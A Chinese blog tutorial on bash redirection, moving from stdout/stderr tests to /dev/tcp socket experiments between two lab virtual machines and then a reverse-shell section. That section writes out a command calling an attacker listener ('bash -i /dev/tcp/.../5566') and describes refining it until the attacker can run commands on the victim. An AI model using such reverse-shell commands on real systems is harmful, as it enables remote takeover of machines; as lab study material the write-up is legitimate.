bash中的重定向探究(UNIX or Linux shell)
###GNU bash 4.3.1###
###Ubuntu14.04###
###2020/11/19###
1.写一个简单bash脚本,或者叫shell脚本用于测试重定向。文件名为a.sh,不废话,上代码。
#!/bin/bash while ((1)) //此处必须双括号 do echo "hello,world\n" echo "$[5/0]" done
2.测试常见的输出重定向。
执行命令 ./a.sh

默认标准输出和标准出错都是显示器,所以得到上图的两条输出
现在将标准输出重定向到文本文件1.txt
执行命令 ./a.sh >1.txt

只有一行错误输出了,标准输出被重定向到文件中了
现将标准输出和标准出错都重定向到文件1.txt
执行命令./a.sh > 1.txt 2>&1 #命令行从左至右解释(2>&1中2和1均为描述符)

执行命令后无输出,可见全部重定向了
执行cat -n 1.txt 查看两行都在文本文件中,重定向成功。

参考Bash官方文档:https://www.gnu.org/software/bash/manual/bash.html#Duplicating-File-Descriptors

可知,可以利用重定向的知识来打开TCP/UDP socket,下面用两台主机进行验证(均为虚拟机)。
###Ubuntu14.04&&&Kali4.15.0###(TCP验证)
1.ip地址(Ubuntu192.168.100.***)(Kali 192.168.100.181)
2.Kali端先用nc打开端口,监听TCP连接,使用端口11111

3.Ubuntu主动连接,并发送“hello,world!”

4.Kali端输出helloworld!

5.使用wireshark分析连接过程(三次握手)

以及两次挥手的数据(不上图了)
6.查看数据报(数据明文传输)

############UDP验证############
1.Kali nc以UDP方式监听11111端口

2.Ubuntu以UDP方式发送数据

3.Kali端接收结果:

(与TCP方式不同的是,发送完数据后nc未返回,还处于接收数据的模式,但是并不能再次收到数据。此处大家可以继续探究)
4.打开wireshark进行分析。

只发现产生了1个数据报,与TCP建立连接的方式完全不同。
观察数据:

依旧是明文传输。
#####重定向的应用之反弹shell#####
1.nc在kali端进行监听

2.Ubuntu端进行bash重定向
bash -i /dev/tcp/192.168.100.181/5566


3.Ubuntu端进行命令输入测试

kail端回显为

结论:此种命令方式,无法控制受害端shell,受害端输入命令,只是在攻击端显示了受害端的标准输出。
4.修改上述命令,

攻击端输入命令

受害端显示

结论:攻击端能在受害端执行命令,但是攻击端无法看到输出。
5.修改命令

攻击端执行命令

受害端回显命令

结论:基本实现反弹shell的功能,只不过受害端会返显攻击端命令
6.修改命令

攻击端

结论:命令完成
浙公网安备 33010602011771号